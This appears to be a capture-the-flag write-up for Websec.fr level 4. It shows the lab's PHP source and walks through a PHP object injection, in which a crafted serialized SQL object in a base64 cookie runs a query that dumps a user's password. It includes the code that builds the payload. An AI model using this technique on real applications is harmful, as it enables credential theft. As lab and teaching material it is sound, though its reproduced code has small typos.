Websec.fr level 4 - baby steps
The level
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
source1.php
<?php
include 'connect.php';
$sql = new SQL();
$sql->connect();
$sql->query = 'SELECT username FROM users WHERE id=';
if (isset ($_COOKIE['leet_hax0r'])) {
$sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
try {
if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
die('CANT HACK US!!!');
}
} catch(Exception $e) {
echo $e;
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}
if (isset ($_REQUEST['id']) && is_numeric ($_REQUEST['id'])) {
try {
$sql->query .= $_REQUEST['id'];
} catch(Exception $e) {
echo ' Invalid query';
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
source2.php
<?php
class SQL {
public $query = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
}
public function SQL_query($query) {
$this->query = $query;
}
public function execute() {
return $this->conn->query ($this->query);
}
public function __destruct() {
if (!isset ($this->conn)) {
$this->connect ();
}
$ret = $this->execute ();
if (false !== $ret) {
while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
}
}
}
}
?>
ok let’s look at the first php script. We can see that if we set a cookie within the header under the parameter leet_hax0r that is an SQL object and
- Serialized
- base64 encoded
And don’t set the ip (because then it won’t be equal to $_SERVER[‘REMOTE_ADDR’]) it will die, which is good for us, why ?
Looking into the second php script we can see in the ret = $this->execute ();. Meaning, the die function will execute our query. Let’s dive in.
First, we want to create a serialized object with a query, and see that we get an appropriate response back from the website.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// serialize_object.php
<?php
class SQL {
public $query;
public function __construct($query) {
$this->query = $query;
}
}
$query = new SQL("SELECT username FROM users WHERE id=1");
$serialized = serialize($query);
echo $serialized;
?>
We use the query from the source1.php script
Now base 64, and curl to get a response
OK ! now we know how to interact with the website and the server. But how do we get the flag ?
Look at this peace of code from source2.php
1
2
3
4
5
if (false !== $ret) {
while (false !== ($row = $ret->fetchArra(SQLITE3_ASSOC))) {
echo '<class="well"><strong>Username:<strong' . $row['username'] . '</p>';
}
}
looks like there might be something interesting in ‘username’ field. Let’s check if we can query the password of the username in that row
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class SQL {
public $query;
public function __construct($query) {
$this->query = $query;
}
}
$query = new SQL("SELECT password AS username FROM users WHERE id=1");
$serialized = serialize($query);
echo $serialized;
?>
Looks like we got the flag !!
</br> Thanks for reading !